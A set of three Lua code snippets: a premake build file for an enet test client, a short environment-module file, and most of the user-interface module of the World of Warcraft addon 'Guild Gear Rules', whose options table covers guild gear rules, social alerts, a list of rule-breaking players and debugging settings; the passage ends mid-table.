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project ("Test_enet_client")
language "C++"
kind "ConsoleApp"
targetdir "../../../bin"
includedirs {"../../../examples/ThirdPartyLibs/enet/include"}
if os.is("Windows") then
defines { "WIN32" }
links {"Ws2_32","Winmm"}
end
if os.is("Linux") then
end
if os.is("MacOSX") then
end
links {"enet"}
files {
"main.cpp",
}
|
setenv("TACC_MKL_DIR", "/unknown/apps/mkl/10.3")
add_property("arch","offload")
add_property("arch","mic")
add_property("arch","gpu")
|
GuildGearRulesUserInterface = GuildGearRules:NewModule("GuildGearRulesUserInterface", "AceHook-3.0");
local L = LibStub("AceLocale-3.0"):GetLocale("GuildGearRules");
local _cstr = string.format;
local DEBUG_MSG_TYPE = {
ERROR = 1,
WARNING = 2,
INFO = 3,
};
local TOOLTIP_TYPE = {
BANNED = 1,
BANNED_PARTLY = 2,
ALWAYS_ALLOWED = 3,
}
local C = {
GUILD = "|cff3ce13f",
PARTY = "|cffaaa7ff",
RULE = "|cffe6cc80",
TITLE = "|cffffd100",
ATTRIBUTE = "|cff03f002",
RED = "|cffcb2121",
GREEN = "|cff49cb21",
ORANGE = "|cffcb8121",
GRAY = "|cFFCFCFCF",
WHITE = '|cFFFFFFFF',
};
local CLASSES_FILE =
{
[1] = "WARRIOR",
[2] = "PALADIN",
[3] = "HUNTER",
[4] = "ROGUE",
[5] = "PRIEST",
[6] = "DEATHKNIGHT",
[7] = "SHAMAN",
[8] = "MAGE",
[9] = "WARLOCK",
[10] = "MONK",
[11] = "DRUID",
[12] = "DEMONHUNTER",
};
local CLASSES_NAME =
{
[1] = "Warrior",
[2] = "Paladin",
[3] = "Hunter",
[4] = "Rogue",
[5] = "Priest",
[6] = "Death Knight",
[7] = "Shaman",
[8] = "Mage",
[9] = "Warlock",
[10] = "Monk",
[11] = "Druid",
[12] = "Demon Hunter",
};
local CLASS_COLORS =
{
["WARRIOR"] = "|cffc79c6e",
["PALADIN"] = "|cfff58cba",
["HUNTER"] = "|cffabd473",
["ROGUE"] = "|cfffff569",
["PRIEST"] = "|cffffffff",
["DEATHKNIGHT"] = "|cffc41f3b",
["SHAMAN"] = "|cff0070de",
["MAGE"] = "|cff40c7eb",
["WARLOCK"] = "|cff8787ed",
["MONK"] = "|cff00ff96",
["DRUID"] = "|cffff7d0a",
["DEMONHUNTER"] = "|cffa330c9",
};
local INVENTORY_SLOT =
{
[0] = INVTYPE_AMMO,
[1] = INVTYPE_HEAD,
[2] = INVTYPE_NECK,
[3] = INVTYPE_SHOULDER,
[5] = INVTYPE_CHEST,
[6] = INVTYPE_WAIST,
[7] = INVTYPE_LEGS,
[8] = INVTYPE_FEET,
[9] = INVTYPE_WRIST,
[10] = INVTYPE_HAND,
[11] = INVTYPE_FINGER .. " (1)",
[12] = INVTYPE_FINGER .. " (2)",
[13] = INVTYPE_TRINKET .. " (1)",
[14] = INVTYPE_TRINKET .. " (2)",
[15] = INVTYPE_CLOAK,
[16] = INVTYPE_WEAPONMAINHAND,
[17] = INVTYPE_WEAPONOFFHAND,
[18] = INVTYPE_RANGED,
};
local function Color(col, text)
return col .. text .. "|r";
end
local lastDesc = "";
local function Desc(text)
lastDesc = text;
return text;
end
function GuildGearRulesUserInterface:Initialize(core)
self.Core = core;
self.Network = self.Core:GetModule("GuildGearRulesNetwork");
LibStub("AceConfig-3.0"):RegisterOptionsTable("GuildGearRules", self:GetOptions());
self.optionsFrame = LibStub("AceConfigDialog-3.0"):AddToBlizOptions("GuildGearRules", L["GUILD_GEAR_RULES"]);
self.optionsFrame.default = function() self.Core.db:ResetProfile(self.Core:DefaultSettings()); self:Refresh(); end;
self:Refresh();
self.MinimapButtonTexture = 136031;
self.MinimapButtonTextureActive = 135995;
self.SortedCheaterGUIDS = { };
self.SortedCheaterIDs = { };
self.ViewedCheater = nil;
self.ViewedCharacterData = nil;
self.ScanGuildAddOnsInput = "";
self:SetupMinimapButton();
if (not self.Core.db.profile.HideWarning) then
self:ShowWarning();
end
--[[
self:SecureHook(GameTooltip, "SetBagItem", "UpdateItemTooltip");
self:SecureHook(GameTooltip, "SetInventoryItem", "UpdateItemTooltip");
self:SecureHook(GameTooltip, "Hide", "HideTooltip");
self:SecureHook(ItemRefTooltip, "SetHyperlink", "OnSetHyperlink");
self:SecureHook(ItemRefTooltip, "Hide", "HideTooltip");
self.ExtendedTooltips = { };
self.ExtendedTooltips["GameTooltip"] = CreateFrame("GameTooltip", "GuildGearRulesExtendedGameTooltip", nil, "GameTooltipTemplate");
self.ExtendedTooltips["ItemRefTooltip"] = CreateFrame("GameTooltip", "GuildGearRulesExtendedItemRefTooltip", nil, "GameTooltipTemplate");
]]--
self.Core:Log(tostring(self) .. " initialized.");
return self;
end
--[[
function GuildGearRulesUserInterface:ShowWarningTooltip(tooltip, tooltipType, info)
local extendedTooltip = self.ExtendedTooltips[tooltip:GetName()];
if (extendedTooltip == nil) then return; end
local headerText = "";
if (tooltipType == TOOLTIP_TYPE.BANNED) then
headerText = Color(C.RED, L["TOOLTIP_BANNED"]);
elseif (tooltipType == TOOLTIP_TYPE.BANNED_PARTLY) then
headerText = Color(C.ORANGE, L["TOOLTIP_BANNED_PARTLY"]);
elseif (tooltipType == TOOLTIP_TYPE.ALWAYS_ALLOWED) then
headerText = Color(C.GREEN, L["TOOLTIP_ALLOWED"]);
end
if (true) then
local y = tooltip:GetTop();
local screenHeight = GetScreenHeight();
local anchors = { Base = "ANCHOR_TOP", First = { From = "BOTTOMLEFT", To = "TOPLEFT", }, Second = { From = "BOTTOMRIGHT", To = "TOPRIGHT", }, };
if (y ~= nil and screenHeight - y <= 100) then
anchors = { Base = "ANCHOR_BOTTOM", First = { From = "TOPLEFT", To = "BOTTOMLEFT", }, Second = { From = "TOPRIGHT", To = "BOTTOMRIGHT", }, };
end
extendedTooltip:SetOwner(tooltip, anchors.Base);
extendedTooltip:ClearLines();
extendedTooltip:AddDoubleLine(Color(C.TITLE, "Guild Gear Rules"), headerText);
if (info ~= nil) then
extendedTooltip:AddLine(info, 1, 1, 1, true);
end
extendedTooltip:Show();
extendedTooltip:SetPoint(anchors.First.From, tooltip, anchors.First.To, 0, 0)
extendedTooltip:SetPoint(anchors.Second.From, tooltip, anchors.Second.To, 0, 0)
for i = 1, extendedTooltip:NumLines() do
local line = _G[extendedTooltip:GetName() .. "TextLeft"..i];
local lineRight = _G[extendedTooltip:GetName() .. "TextRight"..i];
line:SetFont("Fonts\\FRIZQT__.TTF", 10);
lineRight:SetFont("Fonts\\FRIZQT__.TTF", 10);
end
end
if (true) then
tooltip:AddLine(" ");
tooltip:AddDoubleLine(Color(C.TITLE, "Guild Gear Rules"), headerText);
if (info ~= nil) then
tooltip:AddLine(info, 1, 1, 1, true);
end
tooltip:Show();
end
end
function GuildGearRulesUserInterface:ValidateTooltip(tooltip, itemLink)
self:HideTooltip(tooltip);
if (itemLink ~= nil) then
local spellName, spellID = GetItemSpell(itemLink);
-- Check if it's a consumable which applies a banned buff.
if (spellID ~= nil) then
for i = 1, #self.Core.Rules.BannedBuffGroups do
local buffGroup = self.Core.Rules.BannedBuffGroups[i];
if (buffGroup.IDs:Contains(spellID)) then
self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.BANNED_PARTLY, "Buff " .. self:Buff(spellID) .. " is banned from level " .. tostring(buffGroup.MinimumLevel) .. ".");
return;
end
end
end
local itemID = select(3, self:HyperlinkInfo(itemLink));
-- Check if is allowed item.
if (self.Core.Rules.Items.AllowedIDs:Contains(itemID)) then
self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.ALWAYS_ALLOWED, "Exempted from the rules.");
return;
end
local quality = C_Item.GetItemQualityByID(itemLink);
if (quality ~= nil and quality > 2) then
self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.BANNED, "Exceeds " .. self:GetItemQualityText(self.Core.Rules.Items.MaxQuality) .. " quality.");
else
local attribute = self.Core.Inspector:HasBannedAttribute(tooltip, itemLink);
if (attribute) then
self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.BANNED, "Attribute " .. self:Attribute(attribute) .. " is banned.");
end
end
end
end
function GuildGearRulesUserInterface:OnSetHyperlink(tooltip, itemLink)
-- SetHyperlink might be called after the tooltip has been hidden, so better check if it's visible.
if (itemLink ~= nil and tooltip:IsVisible()) then
self:ValidateTooltip(tooltip, itemLink);
else
self:HideTooltip(tooltip);
end
end
function GuildGearRulesUserInterface:UpdateItemTooltip(tooltip)
local name, itemLink = tooltip:GetItem();
if (itemLink ~= nil) then
self:ValidateTooltip(tooltip, itemLink);
else
self:HideTooltip(tooltip);
end
end
function GuildGearRulesUserInterface:HideTooltip(tooltip)
local extended = self.ExtendedTooltips[tooltip:GetName()]
if (extended ~= nil) then
extended:Hide();
end
end
]]--
function GuildGearRulesUserInterface:SetupMinimapButton()
local lbd = LibStub("LibDataBroker-1.1"):NewDataObject("GuildGearRules", {
type = "data source",
text = L["GUILD_GEAR_RULES"],
icon = self.MinimapButtonTexture,
OnClick = function(_, button)
if button == "LeftButton" then
self:Show();
return;
elseif button == "MiddleButton" then
self:ShowTab("rules");
return;
elseif button == "RightButton" then
if not IsModifierKeyDown() then
self:ShowTab("cheatersTab");
return;
elseif IsControlKeyDown() then
self:ToggleMinimapButton();
return;
end
end
end,
OnTooltipShow = function (tooltip)
tooltip:AddDoubleLine(Color(C.WHITE, L["GUILD_GEAR_RULES"]), "v" .. self.Core.Constants.Version);
tooltip:AddLine(Color(C.RULE, L["MINIMAP_BUTTON_DESC"]) .. "\n\n");
tooltip:AddLine(Color(C.GRAY, L["LEFT_CLICK"]) .. ": " .. L["TOGGLE_FRAME"]);
tooltip:AddLine(Color(C.GRAY, L["MIDDLE_CLICK"]) .. ": " .. L["OPEN_RULES"]);
tooltip:AddLine(Color(C.GRAY, L["RIGHT_CLICK"]) .. ": " .. L["OPEN_CHEATERS"]);
tooltip:AddLine(Color(C.GRAY, L["RIGHT_CLICK_CTRL"]) .. ": " .. L["HIDE_MINIMAP_BUTTON"]);
end,
});
self.MinimapButton = LibStub("LibDBIcon-1.0");
self.MinimapButton:Register("GuildGearRules", lbd, self.Core.db.char.MinimapButton);
self:RefreshMinimapButtonAlertState();
end
function GuildGearRulesUserInterface:RefreshMinimapButtonAlertState()
local button = self.MinimapButton:GetMinimapButton("GuildGearRules");
-- Button might be disabled and not found, in that case do nothing.
if (button == nil ) then return; end
local anyCheaters = false;
for key, cheater in pairs(self.Core.Inspector.Cheaters) do
if (cheater:CheatingDataCount() > 0) then
anyCheaters = true;
break;
end
end
if (anyCheaters) then
button.icon:SetVertexColor(1, 1, 1);
button.icon:SetTexture(self.MinimapButtonTextureActive);
else
button.icon:SetVertexColor(0.5, 0.5, 0.5);
button.icon:SetTexture(self.MinimapButtonTexture);
end
end
function GuildGearRulesUserInterface:ToggleMinimapButton()
self.Core.db.char.MinimapButton.hide = not self.Core.db.char.MinimapButton.hide;
if (self.Core.db.char.MinimapButton.hide) then
self.MinimapButton:Hide("GuildGearRules");
else
self.MinimapButton:Show("GuildGearRules");
-- Refresh the state of the minimap button since it could not be refreshed while disabled.
self:RefreshMinimapButtonAlertState();
end
self:Refresh();
end
function GuildGearRulesUserInterface:ShowWarning()
local AceGUI = LibStub("AceGUI-3.0");
-- Create a container frame
local f = AceGUI:Create("Frame");
f:SetWidth(400);
f:SetHeight(200);
f.frame:SetMaxResize(400, 200);
f:SetCallback("OnClose",function(widget) AceGUI:Release(widget) end);
f:SetTitle(L["GUILD_GEAR_RULES"] .. " " .. L["WARNING"]);
f:SetLayout("Flow");
local desc = AceGUI:Create("Label");
desc:SetText(_cstr(L["WARNING_DESC"], L["GUILD_GEAR_RULES"]));
desc:SetFullWidth(true);
local openOptions = AceGUI:Create("Button");
openOptions:SetText(L["OPEN_SETTINGS"]);
openOptions:SetWidth(200);
openOptions:SetCallback("OnClick", function() print(self.Show()) end)
local checkBox = AceGUI:Create("CheckBox");
checkBox:SetCallback("OnValueChanged", function(widget, callback, val) self.Core.db.profile.HideWarning = val; end);
checkBox:SetLabel(L["DONT_SHOW_AGAIN"]);
checkBox:SetFullWidth(true);
f:AddChild(desc);
f:AddChild(openOptions);
f:AddChild(checkBox);
end
function GuildGearRulesUserInterface:GetOptions()
options = {
name = "Guild Gear Rules",
handler = GuildGearRulesUserInterface,
type = "group",
childGroups = "tab",
args = {
gui = {
order = 0.1,
type = "execute",
guiHidden = true,
name = L["TOGGLE_FRAME"],
func = function() self:Show(); end,
},
cheaters = {
order = 0.2,
type = "execute",
guiHidden = true,
name = L["OPEN_CHEATERS"],
func = function() self:ShowTab("cheatersTab"); end,
},
mainDesc = {
order = 0.3,
type = "description",
name = "|cfffff569" .. L["VERSION"] .. "|r " .. self.Core.Constants.Version .. " " .. "|cfffff569" .. L["AUTHOR"] .. "|r Tonedo",
fontSize = "small",
},
core = {
order = 1,
name = L["CORE"],
type = "group",
args = {
checker = {
order = 1,
type = "group",
cmdHidden = true,
guiInline = true,
name = L["CORE_INFO"],
desc = Desc(_cstr(L["CORE_INFO_DESC"], Color(C.TITLE, L["GUILD_GEAR_RULES"]), Color(C.GUILD, L["GUILD_MEMBERS"]), Color(C.GUILD, L["GUILD_CHANNEL"]), Color(C.GUILD, L["GUILD"]:lower()), Color(C.TITLE, L["RULES"]))),
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
fontSize = "medium",
},
websiteLink = {
order = 2,
type = "input",
width = "full",
disabled = false,
name = L["CORE_INFO_UPDATES"],
get = function() return self.Core.Constants.DownloadLink; end,
},
},
},
options = {
order = 2,
type = "group",
guiInline = true,
name = L["OPTIONS"],
args = {
removeBannedBuffs = {
order = 1,
confirm = function() return not self.Core.db.profile.removeBannedBuffs; end,
type = "toggle",
name = L["CORE_REMOVE_BANNED_BUFFS"],
desc = L["CORE_REMOVE_BANNED_BUFFS_DESC"],
set = function(info,val) self.Core.db.profile.removeBannedBuffs = val; end,
get = function(info) return self.Core.db.profile.removeBannedBuffs; end,
},
receiveData = {
order = 2,
type = "toggle",
name = L["CORE_RECEIVE_DATA"],
desc = L["CORE_RECEIVE_DATA_DESC"],
set = function(info,val) self.Core.db.profile.receiveData = val; end,
get = function(info) return self.Core.db.profile.receiveData; end,
},
minimapButton = {
order = 3,
type = "toggle",
name = L["CORE_MINIMAP_BUTTON"],
desc = L["CORE_MINIMAP_BUTTON_DESC"],
set = function(info,val) self:ToggleMinimapButton() end,
get = function(info) return not self.Core.db.char.MinimapButton.hide; end,
},
startUpWarning = {
order = 4,
type = "toggle",
name = L["CORE_STARTUP_WARNING"],
desc = L["CORE_STARTUP_WARNING_DESC"],
set = function(info,val) self.Core.db.profile.HideWarning = val; end,
get = function(info) return self.Core.db.profile.HideWarning; end,
},
},
},
alert = {
order = 3,
type = "group",
guiInline = true,
name = L["CORE_ALERT"],
desc = Desc(_cstr(L["CORE_ALERT_DESC"], Color(C.GUILD, L["GUILD_MEMBERS"]))),
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
fontSize = "medium",
},
sound = {
order = 2,
type = "select",
name = L["SOUND"],
desc = L["SOUND_TO_PLAY"],
set = function(info,val) self.Core.db.profile.alertSoundID = val; self.Core:PlaySound(true, val); end,
get = function(info) return self.Core.db.profile.alertSoundID end,
values = {
[8959] = L["SOUND_RAID_WARNING"],
[12867] = L["SOUND_ALARM_CLOCK_WARNING"],
[8046] = L["SOUND_RAGNAROS"],
[8809] = L["SOUND_KELTHUZAD"],
}
},
test = {
order = 3,
type = "execute",
width = "half",
name = L["TEST"],
func = "AlertTest",
desc = L["CORE_ALERT_TEST_DESC"],
disabled = function() return not IsInGuild() end,
},
},
},
inspection = {
order = 4,
type = "group",
guiInline = true,
name = L["INSPECTION"],
desc = Desc(_cstr(L["INSPECTION_DESC"], "!gear")),
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
fontSize = "medium",
},
descExtra = {
order = 2,
type = "description",
name = L["INSPECTION_FOOTER"],
fontSize = "small",
},
notify = {
order = 3,
type = "toggle",
width = "half",
name = L["INSPECTION_NOTIFY"],
desc = L["INSPECTION_NOTIFY_DESC"],
set = function(info,val) self.Core.db.profile.inspectNotify = val end,
get = function(info) return self.Core.db.profile.inspectNotify end,
},
guildOnly = {
order = 4,
type = "toggle",
width = "half",
name = Color(C.GUILD, L["GUILD_ONLY"]),
desc = L["GUILD_ONLY_DESC"],
set = function(info,val) self.Core.db.profile.inspectGuildOnly = val end,
get = function(info) return self.Core.db.profile.inspectGuildOnly end,
},
cooldown = {
order = 5,
type = "select",
name = L["COOLDOWN"],
desc = L["INSPECTION_COOLDOWN_DESC"],
set = function(info,val) self.Core.db.profile.inspectCooldown = val; end,
get = function(info) return self.Core.db.profile.inspectCooldown; end,
values = {
[0] = L["COOLDOWN_NONE"],
[1] = L["COOLDOWN_SECONDS_1"],
[5] = L["COOLDOWN_SECONDS_5"],
[10] = L["COOLDOWN_SECONDS_10"],
[30] = L["COOLDOWN_SECONDS_30"],
}
},
},
},
},
},
rules = {
order = 2,
name = L["RULES"],
type = "group",
cmdHidden = true,
args = {
title = {
order = 1,
type = "header",
cmdHidden = true,
name = function() if not self.Core.Rules.Loaded then return L["RULES_NOT_LOADED"] else return _cstr(L["RULES_LOADED"], Color(C.GUILD, GetGuildInfo("player"))) end end,
},
limitations = {
order = 2,
type = "group",
cmdHidden = true,
name = L["RULES_LIMITATIONS"],
guiInline = true,
args = {
capitals = {
order = 1,
type = "toggle",
cmdHidden = true,
width = 0.7,
name = "|cfffffbff" .. L["RULES_LIMITATIONS_CAPITALS"] .. "|r",
desc = L["RULES_LIMITATIONS_ZONE_DESC"],
get = function(info) return self.Core.Rules.Apply.Capitals end,
},
world = {
order = 1,
type = "toggle",
cmdHidden = true,
width = 0.7,
name = "|cfffffbff" .. L["RULES_LIMITATIONS_WORLD"] .. "|r",
desc = L["RULES_LIMITATIONS_ZONE_DESC"],
get = function(info) return self.Core.Rules.Apply.World end,
},
dungeons = {
order = 3,
type = "toggle",
cmdHidden = true,
width = 0.7,
name = "|cffaaa7ff" .. L["RULES_LIMITATIONS_DUNGEONS"] .. "|r",
desc = L["RULES_LIMITATIONS_ZONE_DESC"],
get = function(info) return self.Core.Rules.Apply.Dungeons end,
},
raid = {
order = 3,
type = "toggle",
cmdHidden = true,
width = 0.7,
name = "|cffff4709" .. L["RULES_LIMITATIONS_RAIDS"] .. "|r",
desc = L["RULES_LIMITATIONS_ZONE_DESC"],
get = function(info) return self.Core.Rules.Apply.Raids end,
},
battleground = {
order = 4,
type = "toggle",
cmdHidden = true,
width = 0.7,
name = "|cffff7d00" .. L["RULES_LIMITATIONS_BATTLEGROUNDS"] .. "|r",
desc = L["RULES_LIMITATIONS_ZONE_DESC"],
get = function(info) return self.Core.Rules.Apply.Battlegrounds end,
},
level = {
order = 5,
type = "description",
name = function () return Color(C.RULE, L["RULES_LIMITATIONS_LEVELS"]) .. ": " .. self:GetRulesLevel(self.Core.Rules.Apply.Level); end,
},
excludedRanks = {
order = 6,
type = "description",
name = function() return Color(C.RULE, _cstr(L["RULES_LIMITATIONS_RANKS"], Color(C.GREEN, "Applied"), Color(C.ORANGE, "Excluded")) .. ":\n") .. self:GetExcludedRanks(self.Core.Rules.ExcludedRanks) end,
fontSize = "small",
},
},
},
items = {
order = 3,
type = "group",
cmdHidden = true,
name = L["RULES_ITEMS"],
guiInline = true,
args = {
maxQuality = {
order = 1,
type = "description",
name = function() return Color(C.RULE, L["RULES_ITEMS_MAX_QUALITY"]) .. ": " .. self:GetItemQualityText(self.Core.Rules.Items.MaxQuality) end,
fontSize = "small",
},
bannedAttributes = {
order = 2,
type = "description",
name = function() return Color(C.RULE, L["RULES_ITEMS_BANNED_ATTRIBUTES"]) .. ": " .. self:GetBannedAttributes() end,
fontSize = "small",
},
exceptionsAllowed = {
order = 3,
type = "description",
name = function() return Color(C.RULE, L["RULES_ITEMS_EXCEPTIONS_ALLOWED"]) .. ": " .. self.Core.Rules.Items.ExceptionsAllowed; end,
fontSize = "small",
},
alwaysAllowed = {
order = 4,
type = "description",
name = function() return Color(C.RULE, L["RULES_ITEMS_ALWAYS_ALLOWED"]) .. ": " .. self:GetItemsAllowed(); end,
fontSize = "small",
},
},
},
buffs = {
order = 4,
type = "group",
cmdHidden = true,
name = L["RULES_BUFFS"],
guiInline = true,
args = {
bannedBuffs = {
order = 1,
type = "description",
name = function() return self:GetBannedBuffs(); end,
fontSize = "small",
},
},
},
},
},
social = {
order = 3,
name = L["SOCIAL"],
type = "group",
args = {
welcome = {
order = 1,
name = L["NEW_MEMBER_ALERT"],
desc = Desc(_cstr(L["NEW_MEMBER_ALERT_DESC"], Color(C.GUILD, L["GUILD"]))),
type = "group",
guiInline = true,
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
fontSize = "medium",
},
enabled = {
order = 2,
type = "toggle",
width = "half",
name = L["ENABLED"],
desc = L["TOGGLE_ENABLE_DESC"],
set = function(info,val) self.Core.db.profile.welcomeEnabled = val end,
get = function(info) return self.Core.db.profile.welcomeEnabled end,
},
sound = {
order = 3,
type = "select",
name = L["SOUND"],
desc = L["SOUND_TO_PLAY"],
disabled = function() return not self.Core.db.profile.welcomeEnabled; end,
set = function(info,val) self.Core.db.profile.welcomeSoundID = val; self.Core:PlaySound(true, val); end,
get = function(info) return self.Core.db.profile.welcomeSoundID end,
values = {
[7094] = L["SOUND_RANDOM_PEASANT_GREETINGS"],
[7194] = L["SOUND_RANDOM_PEON_GREETINGS"],
}
},
},
},
gratulate = {
order = 2,
name = L["LEVEL_UP_ALERT"],
desc = Desc(L["LEVEL_UP_ALERT_DESC"]),
type = "group",
guiInline = true,
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
fontSize = "medium",
},
enabled = {
order = 2,
type = "toggle",
width = "half",
name = L["ENABLED"],
desc = L["TOGGLE_ENABLE_DESC"],
set = function(info,val) self.Core.db.profile.gratulateEnabled = val end,
get = function(info) return self.Core.db.profile.gratulateEnabled end,
},
sound = {
order = 3,
type = "select",
name = L["SOUND"],
desc = L["SOUND_TO_PLAY"],
disabled = function() return not self.Core.db.profile.gratulateEnabled; end,
set = function(info,val) self.Core.db.profile.gratulateSoundID = val; self.Core:PlaySound(true, val); end,
get = function(info) return self.Core.db.profile.gratulateSoundID end,
values = {
[124] = L["SOUND_LEVEL_UP"],
[8455] = L["SOUND_PVP_VICTORY_ALLIANCE"],
[8454] = L["SOUND_PVP_VICTORY_HORDE"],
},
},
party = {
order = 4,
type = "toggle",
width = "half",
disabled = function() return not self.Core.db.profile.gratulateEnabled; end,
name = Color(C.PARTY, L["PARTY"]),
desc = L["REACT_ON_PARTY_CHANNEL"],
set = function(info,val) self.Core.db.profile.gratulateParty = val end,
get = function(info) return self.Core.db.profile.gratulateParty end,
},
guild = {
order = 5,
type = "toggle",
width = "half",
disabled = function() return not self.Core.db.profile.gratulateEnabled; end,
name = Color(C.GUILD, L["GUILD"]),
desc = L["REACT_ON_GUILD_CHANNEL"],
set = function(info,val) self.Core.db.profile.gratulateGuild = val end,
get = function(info) return self.Core.db.profile.gratulateGuild end,
},
}
},
},
},
cheatersTab = {
order = 4,
name = L["CHEATERS"],
type = "group",
cmdHidden = true,
args = {
desc = {
order = 1,
type = "description",
name = L["CHEATERS_DESC"],
},
cheaters = {
order = 2,
name = L["CHEATER_VIEW"],
type = "select",
cmdHidden = true,
desc = L["CHEATERS_SELECT"],
set = function(info,val) self:ViewCheater(self.SortedCheaterGUIDS[val]); end,
get = function(info) if (self.ViewedCheater ~= nil) then return self.SortedCheaterIDs[self.ViewedCheater.GUID]; end return nil; end,
values = function() return self:GetCheaterList(); end,
},
clear = {
order = 3,
type = "execute",
cmdHidden = true,
name = L["CHEATERS_REMOVE"],
desc = L["CHEATERS_REMOVE_DESC"],
func = function() self.Core.Inspector:ForgetCheater(self.ViewedCheater); end,
disabled = function() return self.ViewedCheater == nil; end,
},
refresh = {
order = 4,
type = "execute",
cmdHidden = true,
name = L["CHEATERS_REFRESH"],
desc = L["CHEATERS_REFRESH_DESC"],
func = "Refresh",
},
cheaterHeader = {
order = 5,
type = "header",
name = function() return self:GetCheaterHeader(); end,
},
reporters = {
order = 6,
name = L["CHEATER_REPORTER"],
type = "select",
cmdHidden = true,
desc = L["CHEATER_REPORTER_DESC"],
set = function(info,val) self:ViewCheaterData(val); end,
get = function(info) if (self.ViewedCharacterData ~= nil) then return self.ViewedCharacterData.Capturer.GUID; end return nil; end,
values = function() return self:GetCheaterDataList(); end,
},
ignoreReporter = {
order = 7,
name = L["CHEATER_REPORTER_IGNORE"],
type = "execute",
cmdHidden = true,
desc = _cstr(L["CHEATER_REPORTER_IGNORE_DESC"], Color(C.TITLE, L["ADVANCED"])),
func = function() self.Core:IgnoreReporter(self.ViewedCharacterData.Capturer.Name); end,
disabled = function() return self.ViewedCharacterData == nil or self.ViewedCharacterData.Capturer.GUID == self.Core.Player.GUID or self.Core:IsIgnored(self.ViewedCharacterData.Capturer.Name); end,
},
bannedItems = {
order = 8,
name = L["CHEATER_INFORMATION_BANNED_ITEMS"],
type = "group",
guiInline = true,
cmdHidden = true,
args = {
equipped = {
order = 1,
type = "description",
name = function() return self:GetCheaterBannedItems(true); end,
fontSize = "medium",
},
unEquipped = {
order = 2,
type = "description",
name = function() return self:GetCheaterBannedItems(false); end,
fontSize = "medium",
},
}
},
bannedBuffs = {
order = 9,
name = L["CHEATER_INFORMATION_BANNED_BUFFS"],
type = "group",
guiInline = true,
cmdHidden = true,
args = {
active = {
order = 1,
type = "description",
name = function() return self:GetCheaterBannedBuffs(true); end,
fontSize = "medium",
},
unActive = {
order = 2,
type = "description",
name = function() return self:GetCheaterBannedBuffs(false); end,
fontSize = "medium",
},
}
},
},
},
advanced = {
order = 5,
name = L["ADVANCED"],
type = "group",
args = {
users = {
order = 1,
name = L["ADVANCED_USERS"],
type = "group",
args = {
notify = {
order = 1,
name = L["ADVANCED_VERSIONS_NOTIFY"],
type = "group",
desc = Desc(L["ADVANCED_VERSIONS_NOTIFY_DESC"]),
guiInline = true,
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
cmdHidden = true,
},
message = {
order = 2,
type = "input",
width = 1.8,
name = L["MESSAGE"],
validate = function(info, val) if (val:len() > 255) then return "Maximum of 255 characters allowed."; else return true; end end,
set = function(info, val) self.Network.MessageToNonUsers = val; end,
get = function() return self.Network.MessageToNonUsers; end,
disabled = function() return not IsInGuild(); end,
},
send = {
order = 3,
type = "execute",
width = "half",
name = L["SEND"],
func = function() self.Network:NotifyNonUsers(); end,
disabled = function() return not IsInGuild() or self.Network.MessageToNonUsers == nil or self.Network.MessageToNonUsers:len() == 0; end,
},
},
},
list = {
order = 2,
name = L["ADVANCED_STATUS"],
type = "group",
guiInline = true,
cmdHidden = true,
args = {
text = {
type = "description",
width = "full",
name = function() return self.Network:GetUsersList(); end,
},
},
},
},
},
addons = {
order = 2,
name = L["ADDONS"],
type = "group",
args = {
options = {
order = 1,
name = L["SEARCH"],
type = "group",
desc = Desc(L["SEARCH_ADDONS_DESC"]),
guiInline = true,
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
},
input = {
order = 2,
type = "input",
width = 1.8,
name = L["SEARCH_ADDONS_INPUT"],
set = function(info, val) self.SearchGuildAddOnsInput = val; end,
get = function() return self.SearchGuildAddOnsInput; end,
disabled = function() return not IsInGuild(); end,
},
search = {
order = 3,
type = "execute",
width = "half",
name = L["SEARCH"],
func = function() self.Network:SearchGuildAddOns(self.SearchGuildAddOnsInput) end,
disabled = function() return not IsInGuild() or self.SearchGuildAddOnsInput == ""; end
},
},
},
list = {
order = 2,
name = L["SEARCH_RESULTS"],
type = "group",
guiInline = true,
cmdHidden = true,
args = {
text = {
type = "description",
width = "full",
name = function() return self.Network:GetSearchResults(); end,
},
},
},
},
},
ignoredReporters = {
order = 3,
name = L["IGNORED_REPORTERS"],
type = "group",
desc = Desc(L["IGNORED_REPORTERS_DESC"]),
args = {
desc = {
order = 1,
type = "description",
name = lastDesc,
},
list = {
order = 2,
type = "input",
width = "full",
multiline = true,
name = L["LIST"],
set = function(info, val) self.Core.db.factionrealm.ignoredReporters = val; end,
get = function() return self.Core.db.factionrealm.ignoredReporters; end,
disabled = function() return not IsInGuild(); end,
},
},
},
},
},
debugging = {
order = 6,
name = L["DEBUGGING"],
type = "group",
args = {
level = {
order = 1,
type = "select",
name = L["DEBUGGING_LEVEL"],
desc = L["DEBUGGING_LEVEL_DESC"],
set = function(info,val) self.Core.db.profile.DebuggingLevel = val; end,
get = function(info) return self.Core.db.profile.DebuggingLevel; end,
values = {
[0] = L["DEBUGGING_LEVEL_0"],
[1] = L["DEBUGGING_LEVEL_1"],
[2] = L["DEBUGGING_LEVEL_2"],
[3] = L["DEBUGGING_LEVEL_3"],
}
},
debugCache = {
order = 2,
type = "toggle",
width = "half",
disabled = function() return self.Core.db.profile.DebuggingLevel == 0; end,
name = L["DEBUG_CACHE"],
set = function(info,val) self.Core.db.profile.DebugCache = val end,
get = function(info) return self.Core.db.profile.DebugCache end,
},
debugData = {
order = 3,
type = "toggle",
width = "half",
disabled = function() return self.Core.db.profile.DebuggingLevel == 0; end,
name = L["DEBUG_DATA"],
set = function(info,val) self.Core.db.profile.DebugData = val end,
get = function(info) return self.Core.db.profile.DebugData end,
},
debugNetwork = {
order = 5,
type = "toggle",
width = "half",
disabled = function() return self.Core.db.profile.DebuggingLevel == 0; end,
name = L["DEBUG_NETWORK"],
set = function(info,val) self.Core.db.profile.DebugNetwork = val end,
get = function(info) return self.Core.db.profile.DebugNetwork end,
},
clearLogs = {
order = 6,
type = "execute",
name = L["CLEAR_DEBUG_LOGS"],
desc = L["CLEAR_DEBUG_LOGS_DESC"],
